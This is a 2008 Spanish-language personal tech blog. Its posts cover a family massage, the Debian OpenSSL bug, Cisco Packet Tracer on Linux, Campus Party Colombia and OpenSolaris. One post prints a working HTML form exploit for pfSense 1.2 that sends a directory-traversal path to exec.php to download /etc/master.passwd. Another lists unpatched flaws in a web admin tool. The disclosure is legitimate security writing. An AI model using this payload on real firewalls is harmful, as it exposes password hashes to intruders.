domingo, 31 de agosto de 2008

[OT] Un buen MRASAJE


Esto que tiene que ver con el perfil técnico del blog?

!!! NADA !!!

Pero queria agradecerle a mi progenitora por el delicioso MRASAJE que me practico esta noche.

Que es un MRASAJE?, pues es un triple combo o un killer combo como dirian algunos por ahí, solo se puede usar cuando el cuerpo lo pide a gritos:

MOXIBUSTIÓN + REIKI + ACUPUNTURA * ( MASAJE ) = MRASAJE

Alguna de las ventajas de ser un Geek con mamá terapeuta.
Una vez realizada la terapia puedo compilar mejor.
Quíen dijo que un Geek no puede hacer otras cosas?

Perdón por el offtopic. :D

Si, mientras me masajeaban seguia compilando y buscando bugs.

See yaa!

sábado, 30 de agosto de 2008

Just 4 remember

year 2003 ...

"At lines 467-469 in crypto/rand/md_rand.c is an interesting
thing:

#ifndef PURIFY
MD_Update(&m,buf,j); /* purify complains */
#endif

That is the code that causes the problem (I just verified
it with Valgrind). Does it have any bad side affects to
always skip that code? Since both Purify and Valgrind is
unhappy with that function call, something must be wrong
with it.
"

LOL.
is perfect Valgrind ?

Este texto empieza exactamente con la respuesta al problema de hace unos meses de Debian (http://www.debian.org/security/2008/dsa-1571):

"That is the code that causes the problem ..."

Jeje, será que ya sabia lo que iba a ocasionar?

PD: una mala premisa.

jueves, 28 de agosto de 2008

I don like it


Estaba haciendo unas pruebas y leí un poco del código, realmente se ve muy buggy, no pienso ir mas allá, lo dejo para que alguien mas se anime ;)

Ningun archivo valida ingreso de parámetros, la función de borrado masivo es vuln, permitiendo eliminar completamente un dominio, posiblemente se pueda hacer LDAP injection o cosas así. Lo verifique en la versión que aparece en el screenshot, no he probado nada en las versiones en desarrollo.

Lo delicado del asunto es que a traves de un sistema web vulnerable, pueda tener control total de un PDC.

jueves, 7 de agosto de 2008

Bug and exploit for Pfsense v1.2

Por donde atacarias un firewall?


Un exploit?
bash-3.2# cat ataque.html

<form name="ataque" method="post" action="http://192.168.20.200/exec.php">
<table width="0" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td>Ataque</td>
<td><input name="submit" type="text" id="victima" value="Download"></td>
<td><input name="dlPath" type="text" id="victima2" value="../../../../../../../etc/master.passwd"></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="submit" value="Download"></td>
</tr>
</table>
</form>
Donde, 192.168.20.200 es ?

Yo solo quiero descargarme el /etc/master.passwd del firewall.
(thx astrid por la inspiración, jeje)
Un fix silencioso ...

de:
http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&v=1.10.4.11.2.1

a:

http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&v=1.10.4.13


bye ...

Packet Tracer 5


¿ Conocen el software packet tracer de CISCO ?

Fig. Packet tracer en Linux

Para los que no saben que es, les cuento que este software es un complemento ideal para los manuales de redes, nos permite simular, visualizar, probar y probar montajes de red con diferentes protocolos y diferentes dispositivos activos. Puedo simular switchs, routers, access points, servidores dhcp, etc.

Cúal es la novedad?, o porque me animo a postearlo aquí?
Porque ya funciona en Linux, corre en Linux usando librerias QT y aunque no es software libre, se puede usar en ambientes academicos sin restricciones. Ademas la versión 5.0 recien salida, permite trabajar en red.

Que ventaja tiene esto?, que es posible a traves de internet o en una LAN realizar un montaje de red con varios packet tracer distribuidos, de esta forma cada componente de la red puede tener varios equipos clientes o servidor y así ...

En definitiva simular un paso mas a la realidad, realizando las conexiones del packet tracer con conexiones TCP entre las diferentes IPs.

He hecho pruebas entre un WinXP y un Linux Debian y no tuve ningún problema en usar la caracteristica "multiuser".

Más información en:
http://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html

Off topic:
Por otro lado, me entró la curiosidad de cúal es la forma que usan para validarse entre los packet tracer de la red, puesto que requieren una clave para poder realizar la simulación ...

No avance mucho en esto porque me da pereza, pero luego lo retomaré...

Una pequeña prueba:

Usando una clave "12345" en ambos extremos:

74.0.PTMP.1.{b2232ec5-0000-4000-91b8-1d87f11e53f4}.2.1.1.4.20080807202649.2..
74.1.PTMP.1.{634e4574-3e04-4aa3-9cd9-631fbf02c99f}.2.1.1.4.20080808022701.2..
............%....
827ccb0eea8a706c4c34a16891f84e7b
yDQ9cbEQXkEFLD4t74XnkX6xvMEGTA4Z

Envio un string de 32 chars (a que se te parece?) y me devuelve uno de 32.

Cuando la clave es incorrecta pasa lo mismo y cada vez que hago la conexión se genera un valor diferente ...

Ahí se los dejo por si quieren investigar.

domingo, 6 de julio de 2008

Campus Party Colombia 2008

Fig 1. La foto que no puede faltar en ningun lugar, en ningun evento

Por fin terminé de organizar la información descargada de la LAN P2P montada en la campus, gracias a kleper por la iniciativa de montarla y permitirme tener los capítulos de HEROES que ahora estoy feliz viéndome. En total fueron como 280 GB que me descargué aunque mucha cosa fue basura, encontré cosas importantes ;)

Mi experiencia en la CP fue un poco diferente, puesto que tenia la responsabilidad de coordinar el montaje de red de la arena. Así que para mí la campus duró 5 días mas de lo normal, al igual que para las 15 personas (tocólogos de redes del SENA)que me acompañaron en esa misión, entre esas mi querida y adorada astro, supongo que cada uno de ellos tendrá una experiencia para compartir.

Siempre que uno esta en un evento de estos la sensación es que uno quisiera ser un campusero mas, estar feliz, gritando por todos lados "Campus Party lo mejor!", pero a la vez piensa en que quizás no sea tan divertido y que a esa responsabilidad se le puede sacar algo de disfrute.

¿Que es lo que se hace en una Campus?

Después de haber estado en Brasil apoyando el equipo de tecnología y después del compromiso adquirido aquí en Colombia, pienso que hay muchas personas que no dimensionan realmente lo que se puede hacer en un evento de tal magnitud, como también hay muchos otros que nunca se van a enterar de que se trata esa reunión de "peludos" con computadores y carpas durante 8 días.

En la Campus esta la conectividad (4.0Gbps), esta la libertad para descargar datos sin restricciones, esta la posibilidad de jugar hasta que el cuerpo no de más, sin restricciones de mamás o de horarios, pero hay mas cosas ...

Quiero iniciar una lista y continuarla en el wiki del directorio acerca de que es lo bueno que se puede aprender, hacer, vivir en una CP, no solo para que quede documentado, sino para que quede como experiencia y compromiso para los futuros campuseros.

http://www.el-directorio.org/CampusPartyColombia#head-1055fd17293758f5252c81c5719e48e67a50a296

Lo bueno para vivir en una Campus Party es:
  • Volver a encontrarse con amigos de diferentes ciudades
  • Aprender de los proyectos campuseros independientes
  • Concursar en cualquier cantidad de cosas que haya por hacer en esos 8 días
  • Programar charlas extras en horarios imposibles, solo para los mas gomosos
  • Asistir a las charlas y talleres programados y aprovecharlos al máximo
  • Darle un rostro a todos los nicks que están en la bandeja de contactos desde hace años
  • Conseguir nuevos aliados para los proyectos personales
  • Volverse GAMER por 8 días
  • Salir a conocer la ciudad en compañía de desconocidos o amigos
  • Chatear a 4 Mbps (al parecer la mayoría opto solo por esto, ya que los emoticones salían mas rápido)
  • Encontrar fuentes de inspiración (personas, proyectos) para futuras cosas personales
  • Hacer negocios ...
  • Etc ...
No me gusta escribir mucho al estilo Blogger, así que ya me voy despidiendo, no sin antes enviarle un saludo a todos los muchachos (y muchachas) que hicieron parte del grupo de montaje de la red de la arena, y también a todos los amigos de siempre y los nuevos conocidos durante la CP de Bogotá.

A la gente de OSSIM, los de DragonJar, la comunidad OpenSolaris y los otros y aquellos también, un saludo para todos y nos vemos en el próximo evento donde coincidamos.

Un saludo para Miguel, la Mona, Polkan, Offray, Xtingray y para la el resto de la gente de Futura que me colaboró con las cuestiones administrativas cuando había problemas.

Bueno, como diria Offray acompañado de un gesto para el cúal no tengo emoticon:
NNNNnnnoossss VEMOOOOOOOOSSSSSSSssssssssssssssssssssss ...

PD: alguien pudo entrar al CORE, no era un CORE irrompible :p

Fig 2. Un agente extraño circulando en la interfaz WAN del CORE, detectado por la gente de OSSIM.

jueves, 5 de junio de 2008

domingo, 13 de abril de 2008

Colosug Community

Ya conocen la comunidad OpenSolaris?, ya conocen a Colosug ?, que estan esperando?

Para participar en los proyectos de OpenSolaris, solo basta con seguir los siguientes 3 pasos:

1. Registren una cuenta en : Sign in OpenSolaris.

2. Entren a la página del proyecto en cuestion, por ejemplo, el proyecto de grupo de usuarios colombiano de OpenSolaris y hagan click en afiliarse el proyecto.

3. Inscribanse en las listas de correo para participar activamente.


Más información:

Entradas populares